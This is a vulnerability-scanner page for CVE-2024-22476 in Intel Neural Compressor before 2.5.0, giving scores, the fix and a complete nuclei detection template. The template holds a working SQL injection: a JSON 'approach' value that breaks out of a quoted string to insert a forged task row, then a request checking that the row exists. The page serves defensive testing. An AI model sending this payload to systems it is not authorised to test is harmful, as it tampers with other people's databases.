Intel Neural Compressor <2.5.0 - SQL Injection

criticalseverity

10CVSS score

36%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.

Impact

Unauthenticated attackers can escalate privileges or perform malicious actions through improper input validation in Intel Neural Compressor.

Fix

Update Intel Neural Compressor to version 2.5.0 or later.

How to confirm it

Send: POST /task/submit/
Positive when: status_code == 200 and contains_all(body, "\"task_id\":", "\"status\":", "\"msg\":") and contains(content_type, "application/json")
Send: GET /task/{{tid}}
Positive when: contains "\"status\":\"{{marker}}\"" and "\"optimized_result\":" and "\"result_path\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-22476 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-22476

info:
  name: Intel Neural Compressor <2.5.0 - SQL Injection
  author: ritikchaddha,daffainfo
  severity: critical
  description: |
    Improper input validation in some Intel(R) Neural Compressor software before version 2.5.0 may allow an unauthenticated user to potentially enable escalation of privilege via remote access.
  impact: |
    Unauthenticated attackers can escalate privileges or perform malicious actions through improper input validation in Intel Neural Compressor.
  remediation: |
    Update Intel Neural Compressor to version 2.5.0 or later.
  reference:
    - https://huntr.com/bounties/300bffa9-b240-4201-a1d9-e3ec8d802e4a
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-22476
    cwe-id: CWE-20
    epss-score: 0.3597
    epss-percentile: 0.98485
  metadata:
    max-request: 1
  tags: cve,cve2024,intel,neural-compressor,sqli,intrusive,vuln

variables:
  tid: "{{rand_base(24,'abcdef0123456789')}}"
  marker: "sqli{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /task/submit/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification/run_glue.py",
            "optimized": "False",
            "arguments": [
                "--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"
            ],
            "approach": "static', 'r', 1, 'pending'),('{{tid}}', 'a', 1, 'a', 'a', 'a', 1, '{{marker}}') -- ",
            "requirements": [],
            "workers": 1
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"task_id\":", "\"status\":", "\"msg\":")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /task/{{tid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":"{{marker}}"'
          - '"optimized_result":'
          - '"result_path":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from